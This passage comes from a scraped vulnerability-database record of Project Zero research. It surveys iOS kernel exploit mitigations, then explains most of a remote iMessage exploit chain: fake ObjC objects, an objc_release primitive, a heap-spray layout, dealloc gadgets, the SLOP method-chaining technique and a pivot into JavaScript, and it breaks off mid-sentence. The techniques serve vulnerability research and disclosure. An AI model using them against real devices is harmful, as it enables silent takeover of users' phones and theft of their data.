[unc0ver-v5.0.0.ipa](<https://github.com/pwn20wndstuff/Undecimus/releases/tag/v5.0.0>).\n\n# iOS kernel exploit mitigations\n\nNext we will look at some current iOS kernel exploit mitigations. This list is not exhaustive, but it briefly summarizes some of the mitigations that exploit developers may encounter up through iOS 13.\n\n## Kernel Stack Canaries - iOS 6\n\niOS 6 introduced kernel stack canaries (or stack cookies) to protect against stack buffer overflows in the kernel.\n\n \nNone of the exploits in this list are affected by the presence of stack canaries as they do not target stack buffer overflow vulnerabilities.\n\n## Kernel ASLR - iOS 6\n\nKernel Address Space Layout Randomization (Kernel ASLR or KASLR) is a mitigation that randomizes the base address of the kernelcache image in the kernel address space. Before Kernel ASLR was implemented, the addresses of kernel functions and objects in the kernelcache image were always located at a fixed address.\n\n** \n**\n\nBypassing or working around KASLR is a standard step of all modern iOS kernel exploits.\n\n## Kernel Heap ASLR - iOS 6\n\nSince iOS 6 the base addresses for various kernel heap regions have been randomized. This seeks to mitigate exploits that hardcode addresses at which objects will be deterministically allocated. \n\n** \n**\n\nWorking around kernel heap randomization is a standard step of modern iOS kernel exploits. Usually this involves heap spraying, in which the kernel is induced to allocate large amounts of data to influence the shape of the heap even when exact addresses are not known. Also, many vulnerabilities can be leveraged to produce an information leak, disclosing the addresses of relevant kernel objects on the heap.\n\n## W^X / DEP - iOS 6\n\niOS 6 also introduced substantial kernel address space hardening by ensuring that kernel pages are mapped either as writable or as executable, but never both (often called \"write xor execute\" or W^X). This means that page tables no longer map kernel code pages as writable, and the kernel heap and stack are no longer mapped as executable. (Ensuring that non-code data is not mapped as executable is often called Data Execution Prevention, or DEP.)\n\n** \n**\n\nModern public iOS exploits do not attempt to bypass W^X (e.g. by modifying page tables and injecting shellcode); instead, exploitation is achieved by modifying kernel data structures and performing code-reuse attacks instead. This is largely due to the presence of a stronger, hardware-enforced W^X mitigation called KTRR.\n\n## PXN - iOS 7\n\nApple's A7 processor was the first 64-bit, ARMv8-A processor in an iPhone. Previously, iOS 6 had separated the kernel and user address space so that user code and data pages were inaccessible during normal kernel execution. With the move to 64-bit, the address spaces were no longer separated. Thus, the Privileged Execute-Never (PXN) bit was set in page table entries to ensure that the kernel could not execute shellcode residing in userspace pages.\n\n** \n**\n\nSimilarly to W^X, PXN as a protection against jumping to userspace shellcode is overshadowed by the stronger protection of KTRR.\n\n## PAN - iOS 10\n\nPrivileged access-never (PAN) is an ARMv8.1-A security feature introduced with the Apple A10 processor that prevents the kernel from accessing virtual addresses that are also accessible to userspace. This is used to prevent the kernel from dereferencing attacker-supplied pointers to data structures in userspace. It is similar to the Supervisor Mode Access Prevention (SMAP) feature on some Intel processors.\n\n** \n**\n\nWhile PAN has been [bypassed](<http://siguza.github.io/PAN/>) before, modern public iOS kernel exploits usually work around PAN by spraying data into the kernel and then learning the address of the data. While the most reliable techniques involve disclosing the address of the data inserted into the kernel, techniques exist to work around PAN generically, such as spraying enough data to overwhelm the kernel map randomization and force a fixed, hardcoded address to be allocated with the controlled data. Other primitives exist for establishing shared memory mappings between userspace and the kernel, which can also be used to work around PAN.\n\n## KTRR - iOS 10\n\nKTRR (possibly Kernel Text Readonly Region, part of [Kernel Integrity Protection](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware security mitigation introduced on the Apple A10 processor (ARMv8.1-A). It is a strong form of W^X protection enforced by the MMU and the memory controller over a single span of contiguous memory covering the read-only parts of the kernelcache image and some sensitive data structures like top-level page tables and the trust cache. It has also been [referred to by Apple](<https://i.blackhat.com/USA-19/Thursday/us-19-Krstic-Behind-The-Scenes-Of-IOS-And-Mas-Security.pdf>) as Kernel Integrity Protection (KIP) v1.\n\n** \n**\n\nWhile KTRR has been publicly bypassed [twice](<https://twitter.com/qwertyoruiopz/status/974907288501747713>) [before](<https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html>), modern public iOS kernel exploits usually work around KTRR by not manipulating KTRR-protected memory.\n\n## APRR - iOS 11\n\nAPRR (possibly standing for [Access Protection Rerouting](<https://siguza.github.io/APRR/>) or [Access Permission Restriction Register](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware feature on Apple A11 and later CPUs that indirects virtual memory access permissions (usually specified in the page table entry for the page) through a special register, allowing access permissions for large groups of pages to be changed atomically and per-core. It works by converting the bits in the PTE that typically directly specify the access permissions into an index into a special register containing the true access permissions; changing the register value swaps protections on all pages mapped with the same access permissions index. APRR is somewhat similar to the Memory Protection Keys feature available on newer Intel processors.\n\n** \n**\n\nAPRR on its own does not provide any security boundaries, but it makes it possible to segment privilege levels inside a single address space. It is heavily used by PPL to create a security boundary within the iOS kernel.\n\n## PPL - iOS 12\n\nPPL ([Page Protection Layer](<https://support.apple.com/guide/security/page-protection-layer-sec38dc659b4/1/web/1>)) is the software layer built on APRR and dependent on KTRR that aims to put a security boundary between kernel read/write/execute and direct page table access. The primary goal of PPL is to prevent an attacker from modifying user pages that have been codesigned (e.g. using kernel read/write to overwrite a userspace process's executable code). This necessarily means that PPL must also maintain total control over the page tables and prevent an attacker from mapping sensitive physical addresses, including page tables, page table metadata, and IOMMU registers.\n\n** \n**\n\nAs of May 2020, PPL has not been publicly bypassed. That said, modern iOS kernel exploits are so far unaffected by PPL.\n\n## PAC - iOS 12\n\nPointer Authentication Codes ([PAC](<https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/1/web/1>)) is an ARMv8.3-A security feature that mitigates pointer tampering by storing a cryptographic signature of the pointer value in the upper bits of the pointer. Apple introduced PAC with the A12 and significantly [hardened](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>) the implementation (compared to the ARM standard) in order to defend against attackers with kernel read/write, although for most purposes it is functionally indistinguishable. Apple's kernel uses PAC for control flow integrity (CFI), placing a security boundary between kernel read/write and kernel code execution.\n\n** \n**\n\nDespite [numerous](<https://bazad.github.io/presentations/MOSEC-2019-A-study-in-PAC.pdf>) [public](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>) [bypasses](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>) of the iOS kernel's PAC-based CFI, PAC in the kernel is still an effective exploit mitigation: it has severely restricted exploitability of many bugs and killed some exploit techniques. For example, exploits in the past have used a kernel execute primitive in order to build a kernel read/write primitive (see e.g. ziVA); that is no longer possible on A12 without bypassing PAC first. Furthermore, extensive use of PAC-protected pointers in IOKit has made it significantly harder to turn many bugs into useful primitives. Given the long history of serious security issues in IOKit, this is a substantial win.\n\n## zone_require - iOS 13\n\nzone_require is a software mitigation introduced in iOS 13 that adds checks that certain pointers are allocated from the expected zalloc zones before using them. The most common zone_require checks in the iOS kernelcache are of Mach ports; for example, every time an ipc_port is locked, the zone_require() function is called to check that the allocation containing the Mach port resides in the ipc.ports zone (and not, for example, an OSData buffer allocated with kalloc()).\n\n** \n**\n\nSince fake Mach ports are an integral part of modern techniques, zone_require has a substantial impact on exploitation. Vulnerabilities like CVE-2017-13861 (async_wake) that drop a reference on an ipc_port no longer offer a direct path to creating a fake port. While zone_require has been publicly bypassed [once](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>), the technique relied on an oversight in the implementation that is easy to correct.\n\n# Changelog\n\n2020/07/09\n\n| \n\nAn entry was added for tachy0n (unc0ver 5.0.0) - iOS 13.5. \n \n---|--- \n \n2020/06/19\n\n| \n\nThe entry on MachSwap was replaced with machswap2, since the latter works on PAN-enabled devices.\n\nAn entry was added for AppleAVE2Driver exploit - iOS 12.4.1.\n\nThe description for PAN was updated to clarify that it was introduced with the A10 processor, not iOS 10.\n\nThe description for PPL was updated to clarify that it primarily protects userspace processes, as the kernel's code is protected by KTRR. \n \n2020/06/11\n\n| \n\nOriginal post published.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-06-11T00:00:00", "type": "googleprojectzero", "title": "\nA survey of recent iOS kernel exploits\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7644", "CVE-2017-13861", "CVE-2017-13865", "CVE-2017-2370", "CVE-2018-4150", "CVE-2018-4241", "CVE-2018-4243", "CVE-2018-4344", "CVE-2019-6225", "CVE-2019-7287", "CVE-2019-8605", "CVE-2019-8794", "CVE-2019-8795", "CVE-2020-12388", "CVE-2020-3837"], "modified": "2020-06-11T00:00:00", "id": "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "href": "https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:37", "description": "Posted by Samuel Gro\u00df, Project Zero \n \nThis is the third and last post in a series about a remote, interactionless iPhone exploit over iMessage. The [first blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html>) introduced the exploited vulnerability, and the [second blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>) described a way to perform a heapspray, leaking the shared cache base address.\n\n** \n**\n\nAt this point, ASLR has been broken as the shared cache\u2019s base address is known and controlled data can be placed at a known address with the heap spray. What remains is to exploit the vulnerability one more time to gain code execution.\n\n** \n**\n\nAfter a short introduction to some relevant ObjC internals, an exploit for devices without pointer authentication (PAC) will be outlined. It involves creating code pointers, so it no longer works with pointer authentication enabled. Afterwards, a different exploit that works against PAC and non-PAC devices will be presented. Finally, a technique to chain the presented attack with a kernel exploit, which involves implementing the kernel exploit in JavaScript, will be shown.\n\n## Objective-C for the Remote Code Executer\n\n** \n**\n\nObjC is a superset of C which has object oriented programming features added. ObjC adds, amongst others, the concepts of objects, classes with methods and properties, and inheritance to the language. Most objects in ObjC ultimately inherit from [NSObject](<https://developer.apple.com/documentation/objectivec/nsobject?language=objc>), the root object class. A simple snippet of ObjC code is shown next. It creates and initializes an instance of a Class, then calls a method on the instance.\n\n** \n**\n\nBob* bob = [[Bob alloc] init];\n\n[bob doSomething];\n\n** \n**\n\nObjC relies heavily on reference counting for managing the lifetime of objects. As such, every object has a refcount, either [inline as part of the ISA word](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L93>) (see below) or out of line in a [global table](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L201>). Code that operates on an object then has to perform [objc_retain](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571946-retain?language=objc>) and [objc_release](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571957-release?language=objc>) calls on the object. These must either be placed manually by the programmer or are inserted automatically by the compiler if [automatic reference counting (ARC)](<https://en.wikipedia.org/wiki/Automatic_Reference_Counting>) is enabled.\n\n** \n**\n\nInternally, an [object in ObjC](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L127>) is a chunk of memory (usually allocated through calloc) that always starts with an [\u201cISA\u201d value](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L59>) followed by instance variables/properties. The ISA value is a pointer-sized value containing the following information:\n\n * A pointer to the Class of which this object is an instance\n\n * An inline reference counter\n\n * A few additional flag bits\n\n** \n**\n\nAn [ObjC Class](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L1012>) describes its instances, but it is also an ObjC object itself. As such, Classes in ObjC are not only a compile time concept but also exist at runtime, enabling introspection and reflection. A Class contains the following bits of information:\n\n * The ISA word (as it is an Objc Object itself), pointing to a dedicated metaclass\n\n * A pointer to the superclass if any\n\n * A method cache to speed up method implementation lookups\n\n * The method table\n\n * The list of instance variables (name and offset) that each instance has\n\n** \n**\n\nA [Method](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L207>) in ObjC is basically a tuple:\n\n** \n**\n\n([Selector](<https://developer.apple.com/documentation/objectivec/sel?language=objc>), [Implementation](<https://developer.apple.com/documentation/objectivec/objective-c_runtime/imp?language=objc>)) \n\n** \n**\n\nwhere the Selector is a unique c-string containing the name of the method and the Implementation is a pointer to the native function implementing the method. \n\n** \n**\n\nWith that, here is roughly what happens when the following piece of ObjC code from above is compiled and executed: first, at compile time, the three ObjC method calls are translated to the following pseudo-C code (assuming ARC is enabled):\n\n** \n**\n\nBob* bob = objc_msgSend(BobClass, \"alloc\");\n\n// Refcount is already 1 at this point, so no need for a objc_retain()\n\nbob = objc_msgSend(bob, \"init\");\n\nobjc_msgSend(bob, \"doSomething\");\n\n...\n\nobjc_release(bob);\n\n** \n**\n\nAt runtime, [objc_msgSend](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/Messengers.subproj/objc-msg-arm64.s#L252>) will then roughly do the following:\n\n** \n**\n\n 1. Dereference the object pointer to retrieve the ISA value and extract the Class pointer from it in turn\n\n 2. Perform a [lookup for the requested method implementation](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.mm#L4657>) in the Class\u2019 method cache. This is done by essentially hashing the selector\u2019s address to obtain a table index, then comparing the entry\u2019s selector with the requested one\n\n 3. If that fails, continue to look up the method in the method table\n\n 4. If a method Implementation was found, it is (tail-) called and passed any additional arguments that were passed to objc_msgSend. Otherwise an exception is raised.\n\n** \n**\n\nNote that since selectors are guaranteed to be unique by the ObjC runtime, comparison of two selectors is possible simply by comparing the pointer values. \n\n** \n**\n\n[objc_release](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L1505>) on the other hand will [decrement the object\u2019s refcount](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L464>) (assuming no custom retain/release has been implemented for the object by overwriting the corresponding methods).\n\nIf decrementing the object\u2019s refcount sets it to zero, it [invokes](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L571>) the [dealloc method](<https://developer.apple.com/documentation/objectivec/nsobject/1571947-dealloc>) (the destructor of the object) and then frees the object\u2019s memory chunk.\n\n** \n**\n\nFurther information about ObjC internals can be found [here](<http://www.phrack.org/issues/66/4.html#article>), [here](<http://www.phrack.org/issues/69/9.html#article>), and in the [source](<https://github.com/opensource-apple/objc4>)/[binary](<https://ipsw.me/>) code.\n\n## Native Code Execution on non-PAC Devices\n\n** \n**\n\nGiven the above insights into the ObjC runtime internals and the capabilities gained from the second part of this series, it is now possible to implement a simple exploit to gain native code execution on devices without pointer authentication (PAC), namely the iPhone X and earlier.\n\n** \n**\n\nShown next is the code fragment from [NSSharedKeySet indexForKey:] which reads the candidate value from an address of the attacker\u2019s choosing (as _keys is nullptr and index is controlled) and processes it. \n\n** \n**\n\n 1. id candidate = self->_keys[index];\n\n 2. if (candidate != nil) {\n\n 3. if ([key isEqual:candidate]) {\n\n 4. return prevLength + index;\n\n 5. }\n\n 6. }\n\n** \n**\n\nIf the key is a NSString, then one of the first things that [NSString isEqual:] will do with the given argument is calling [arg isNSString__] on it (see the implementation of [NSString isEqual:] in Foundation.framework). As such, native code execution can be achieved in the following way:\n\n** \n**\n\n 1. Perform the heap spray as described in part 2. The heap spray should contain a fake object pointing to a fake class containing a fake method cache with an entry for the method \u2018isNSString__\u2019 with a controlled IMP pointer. The heap spray should also contain a pointer to the fake object\n\n 2. Trigger the vulnerability to read that pointer and have it be passed to [key isEqual:]. This will in turn invoke \u2018isNSString__\u2019 on the faked object, thus pointing the instruction pointer to an address of the attacker\u2019s choosing\n\n 3. Perform a stack pivot and implement a payload in ROP\n\n** \n**\n\nAt this point, an attacker has succeeded in exploiting a device that does not support PAC (iPhone X and earlier). However, with PAC enabled, the above attack is no longer possible as is explained in the next section.\n\n** \n**\n\n## The Impact of PAC in Userspace\n\n** \n**\n\nBrandon Azad has previously done some great research [detailing how PAC works in the kernel](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>). PAC in userspace is not too different. Next is a high level summary of how PAC works in userspace. For more information, the reader is referred to [llvm\u2019s documentation of PAC](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>).\n\n** \n**\n\nEvery code pointer (function pointer, ObjC method pointer, return address, \u2026) is signed with a secret key as well as an optional 64-bit \u201ccontext\u201d value. The resulting signature is truncated to 24 bits which are then stored in the upper part of a pointer, which are normally unused. Before jumping to a code pointer, the pointer\u2019s signature is verified by recomputing it with the same key and context value and comparing the result to the bits stored in the pointer. If they match, the signature bits are cleared, leaving a valid pointer to be dereferenced. If they don\u2019t match, the pointer becomes clobbered, thus leading to an access violation when it is subsequently dereferenced.\n\n** \n**\n\nThe main purpose of the context value is to prevent pointer swapping attacks in which a signed pointer is copied from one location in the process to another. As an example, ObjC method Implementation pointers stored in the method cache use the address of the cache entry as context while return addresses on the stack use the address of themselves in the stackframe as context. As such, the two cannot be swapped.\n\n** \n**\n\nTo summarize, with PAC enabled and without a bug in the implementation of PAC itself or a signing gadget (a piece of code that can legitimately be invoked and which will add a PAC signature to an arbitrary pointer and return the result to the attacker), it becomes impossible to fake code pointers like the previously described exploit does. The bypass described next assumes such a \u201cflawless\u201d implementation.\n\n** \n**\n\nOne attack that is still viable despite PAC is to create fake instances of ObjC classes and call existing (legitimate) methods on them. This is possible because [PAC does not currently protect the ISA value](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst#objective-c-methods>) which identifies a class instance (this is likely due to the fact that the ISA value does not have enough spare bits for a signature). As such, knowing the base address of the dyld shared cache (which contains all the ObjC Class objects), it becomes possible to fake instances of any class in any library currently loaded in the process.\n\n** \n**\n\nHowever, on the code path that is currently taken ([NSSharedKeySet indexForKey:], only a small number of selectors are ever sent to the controlled object, for example \u2018__isNSString\u2019. This is likely not very useful as none of the available implementations perform anything particularly interesting. Another code path yielding a different primitive thus has to be found.\n\n** \n**\n\n## A Useful Exploit Primitive\n\n** \n**\n\nAs described above, ObjC relies heavily on reference counting, and one of the most common operations performed on an object (besides objc_msgSend) is objc_release. Due to that, many memory corruption vulnerabilities can be turned into an objc_release call on a controlled object. This is also the case here, although some more effort is required as, by itself, the code used during [NSSharedKeySet indexForKey:] will not call objc_release on the attacker controlled object. As such, a new object graph is required once again to reach a different piece of code, in this case in [NSSharedKeyDictionary setObject:ForKey:], called during [NSSharedKeyDictionary initWithCoder:] as shown next.\n\n \n\n\n** \n**\n\n 1. -[NSSharedKeyDictionary initWithCoder:coder] {\n\n 2. self->_keyMap = [coder decodeObjectOfClass:[NSSharedKeySet class] \n\n 3. forKey:@\u201dNs.skkeyset\u201d];\n\n 4. self->_values = calloc([self->_keyMap count], 8);\n\n 5. NSArray* keys = [coder decodeObjectOfClasses:[...] \n\n 6. forKey:@\u201dNS.keys\u201d]];\n\n 7. NSArray* values = [coder decodeObjectOfClasses:[...] \n\n 8. forKey:@\u201dNS.values\u201d]];\n\n 9. 10. if ([keys count] != [values count]) { // return error }\n\n 11. \n\n 12. for (int i = 0; i < [keys count]; i++) {\n\n 13. [self setObject:[values objectAtIndex:i] \n\n 14. forKey:[keys objectAtIndex:i]];\n\n 15. }\n\n 16. }\n\n** \n**\n\n 1. -[NSSharedKeyDictionary setObject:obj forKey:key] {\n\n 2. uint32_t index = [self->_keyMap indexForKey:key];\n\n 3. if (index != -1) { \n\n 4. id oldval = self->_values[index];\n\n 5. objc_retain(obj);\n\n 6. self->_values[index] = obj;\n\n 7. objc_release(oldval);\n\n 8. } \n\n 9. }\n\n** \n**\n\nNote that in [NSSharedKeyDictionary initWithCoder:], there is no check for nullptr after the call to calloc() in line 4. This is likely not a problem under normal circumstances as another allocation of the same size would have to succeed first (for the SharedKeySet) and its content (multiple gigabytes of data) would have to be sent over iMessage. However, it does become a problem in combination with the current vulnerability, as now a _numKey value of one of the SharedKeySets is not yet validated at the time this code runs, thus allowing an attacker to cause calloc() to fail without requiring other huge allocations to succeed first. Afterwards, [NSSharedKeyDictionary setObject:forKey:] can be tricked to again read an ObjC id from an attacker controlled address (line 4) and subsequently call objc_release on it (line 7). The object graph shown next triggers this case and performs an objc_release call on an attacker controlled value. The return value of calloc() has since been checked against nullptr, in which case unarchiving is aborted.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMpq5iI8M39sDpQx2M_ERppd3Hcr1SXy7p8Ri-3nhHvibSPtsFY4gY842zHkXPaBM0EsKSrF8bXWK0m_XAa9Dhoo75xL6RYa7RqWwhupSXlaL1Z23v6_aBd5TvA-s-NAdPUCZeyiZGnFfWgVAj8fyZlsaixVj6iisxkmCgqLC3r2dS_3T25UIyIQdc/s2048/ExploitPrimitive.png>)\n\nWhen the shown object graph is unarchived, SharedKeyDictionary2 will attempt to store the value for \u201ck2\u201d in itself and will thus call [SharedKeySet2 indexForKey:\"k2\"]. This in turn will recurse to SharedKeySet1, which will also not find the key (as the index fetched from its _rankTable is larger than _numKey) and recurse further. Finally, SharedKeySet3 will be able to lookup \u201ck2\u201d and return the currently accumulated offset, which is (1 + 0x41414140/8). SharedKeyDictionary2 will then access 0x41414148, call objc_release on the value read there and finally write the NSString \u201cfoobar\u201d to that address. This now provides the arbitrary objc_release primitive required for further exploitation.\n\n** \n**\n\nWith that, it is now possible to get any legitimate \u2018dealloc\u2019 or \u2018.cxx_desctruct\u2019 (which are additional destructors automatically generated by the compiler) method called. There are about 50,000 such functions in the shared cache. Quite a lot of gadgets! To find interesting gadgets, the following IDAPython snippet can be used on a loaded dyld_shared_cache image. It enumerates the available destructors and writes their name + decompiled code to disk:\n\n** \n**\n\nfor funcea in Functions():\n\nfuncName = GetFunctionName(funcea)\n\nif \u2018dealloc]\u2019 in funcName or \u2018.cxx_desctruct]\u2019 in funcName:\n\nfunc = get_func(funcea)\n\noutfile.write(str(decompile(func)) + \u2018\\n\u2019)\n\n** \n**\n\nOne approach to finding interesting dealloc \u201cgadgets\u201d is to grep the decompiled code for specific selectors that are being sent to other objects, further increasing the amount of code that can be executed. One dealloc implementation that is particularly interesting is printed below:\n\n** \n**\n\n-[MPMediaPickerController dealloc](MPMediaPickerController *self, SEL)\n\n{\n\nv3 = objc_msgSend(self->someField, \"invoke\");\n\nobjc_unsafeClaimAutoreleasedReturnValue(v3);\n\nobjc_msgSend(self->someOtherField, \"setMediaPickerController:\", 0);\n\nobjc_msgSendSuper2(self, \"dealloc\");\n\n}\n\n** \n**\n\nThis sends the \u201cinvoke\u201d selector to an object read from the faked self object. \u201cinvoke\u201d is for example implemented by [NSInvocation](<https://developer.apple.com/documentation/foundation/nsinvocation>) objects, which are essentially bound functions: a triplet of (target object, selector, arguments) which, when sent the \u201cinvoke\u201d selector, will call the stored selector on the target object with the stored arguments. It is thus possible to call any ObjC method on a completely controlled object with arbitrary arguments. Quite a powerful primitive. In fact, already powerful enough to pop calc. The call:\n\n** \n**\n\n[UIApplication launchApplicationWithIdentifier:@\"com.apple.calculator\" suspended:NO]\n\n** \n**\n\n...will do the job just fine :)\n\n** \n**\n\nThe final heap spray layout then looks roughly as depicted below. The heap spray must now be a bit bigger because the previously used address 0x110000000, which will now also be used as the size argument to calloc, will not cause calloc to fail on newer devices, so a higher address such as 0x140000000 is necessary. Note also that the call to \u2018setMediaPickerController\u2019 in the dealloc implementation can simply be survived by setting someOtherField to zero, in which case objc_msgSend generally becomes a nop. NSInvocation objects are made up of a \u201cframe\u201d, a pointer to a buffer containing the arguments for the call, as well as storage for the return value and a reference to a NSMethodSignature object containing information about the number and type of the arguments. The latter two fields are omitted in the diagram for brieviety.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRoQjcXknwnUxwFAWqJIE-2vUMftTrN2L6pOwVCXcSk4OO4PmLy2mW5meOC_gOY-z-Yz3vs6yQO-U4PDBkycehi2FeC4Z7vFFN6lifIx5JcGvjQEjKVXTGe8_JmlE1AWYlwBA_isNQeys7_XeyRrH9VBbsN87qUw620C3IjJMHrLKaj10KM1Fsv3yD/s2048/Heap%20Spray%20Content.png>)\n\nTo trigger the controlled ObjC method invocation from [NSSharedKeyDictionary setObject:obj forKey:key], the address 0x140003ff8 must be accessed so that a pointer to the fake MPMediaPickerController is passed to objc_release.\n\n** \n**\n\nThe video below shows the exploit in action. Note that there is no \u201crespring\u201d or similar crash behaviour happening as SpringBoard continues normally after executing the payload.\n\n** \n**\n\n \nWhile opening a calculator is nice, the ultimate goal of an exploit like the one presented here is likely to stage a kernel exploit. One option for that is to use the current capability to open a WebView and serve a classic browser exploit. However, that would likely require a separate browser vulnerability. The final question is thus whether it is possible to directly chain a kernel exploit given the current primitive. The remainder of this blog post will now explore this option.\n\n** \n**\n\n## SeLector Oriented Programming (SLOP)\n\n** \n**\n\nThe technique described here was not part of the initial exploit PoC that was sent to Apple. As such, it was separately reported on September 13 as an exploitation technique (noting that exploitation techniques are not subject to Project Zero's 90 day deadlines)\n\n** \n**\n\nExpanding on the current exploitation capability, the ability to call a single method on a controlled object with controlled arguments, the next step is to gain the ability to chain multiple method calls together. Furthermore, it should also be possible to use the return values of method calls, for example as arguments to subsequent ones, and to be able to read and write process memory. The following technique, dubbed SLOP for SeLector Oriented Programming ;), allows this.\n\n** \n**\n\nFirst, it is possible to chain multiple selector calls together by creating a fake NSArray containing fake NSInvocation objects, then calling [[NSArray makeObjectsPerformSelector:@selector(invoke)]](<https://developer.apple.com/documentation/foundation/nsarray/1460115-makeobjectsperformselector?language=objc>) on it (through the \u201cbootstrap\u201d NSInvocation that is invoked during [MPMediaPickerController dealloc]). This will invoke each of the NSInvocations, thus performing multiple independent ObjC method calls.\n\n** \n**\n\nNext, by using the [[NSInvocation getReturnValue:ptr]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437832-getreturnvalue?language=objc>) method, it is possible to write the return value of a previous method call somewhere in memory, for example into the arguments buffer of a following call. With that, it is possible to use return values of method calls as arguments for subsequent ones.\n\n** \n**\n\nA simple SLOP chain then looks like this:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSHRdcv9Yy2tbo7UUXrWszCDIo_6_VxaM0GSg4hSWcO41hdTnojQHsccZg5bJXG7_zIza5ltdpQuxYddOMh3tyYqcExtd_YUfij4tY8K6Fxnqzf2sGdqL1SvGTOHcK7CQMaMxputEvwhbFp_SnizjOUtGFIjQtHY1hjH5gwqn26ORx2MhGyynoekzr/s2048/SLOP.png>)\n\nThis chain is equivalent to the following ObjC code:\n\n** \n**\n\nid result = [target1 doX];\n\n[target2 doY:result];\n\n** \n**\n\nFor the final primitive, the ability to read and write process memory, the [[NSInvocation getArgument:atIndex]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437830-getargument?language=objc>) method can be used, of which simplified pseudocode is shown next:\n\n** \n**\n\nvoid -[NSInvocation getArgument:(void*)addr atIndex:(uint)idx] {\n\nif (idx >= [self->_signature numberOfArguments]) {\n\n...; // abort with exception\n\n}\n\n** \n**\n\nmemcpy(addr, &self->_frame[idx], 8);\n\n}\n\n** \n**\n\nAs the above method can be invoked using SLOP, it is possible to perform arbitrary memory reads and writes (with [\u2019setArgument:atIndex\u2019](<https://developer.apple.com/documentation/foundation/nsinvocation/1437834-setargument?language=objc>) instead) by creating fake NSInvocation objects where the _frame member points to the desired address. Conveniently, this also allows reading and writing at an offset from the pointer which facilitates accessing or corrupting members of some data structure. This will be an important primitive for the next part.\n\n** \n**\n\nWith SLOP, it is now possible to execute arbitrary ObjC methods. As this happens outside of the sandbox in SpringBoard, it is already sufficient to for example gain access to user data. However, by itself, SLOP is likely not powerful enough to execute a kernel exploit, which is the final step for a full device compromise. This is for example due to the lack of (obvious) control-flow primitives that SLOP provides.\n\n## Chaining a Kernel Exploit\n\n** \n**\n\nOne approach for executing a kernel exploit is then to use SLOP to pivot into a scripting context, for example into [JavaScriptCore.framework](<https://developer.apple.com/documentation/javascriptcore?language=objc>), and implement the kernel exploit in that scripting language. Pivoting into JavaScript from SLOP is easily possible using the following method calls:\n\n** \n**\n\nJSContext* ctx = [[JSContext alloc] init];\n\n[ctx evaluateScript:scriptContent];\n\n** \n**\n\nIn order to execute a kernel exploit in JavaScript, the following primitives will have to be bridged into JavaScript or recreated there:\n\n** \n**\n\n 1. The ability to read and write the memory of the current process\n\n 2. The ability to call C functions and in particular syscalls\n\n** \n**\n\nGaining memory read/write in JavaScript is rather easy with a standard browser exploitation technique: corrupting JavaScript 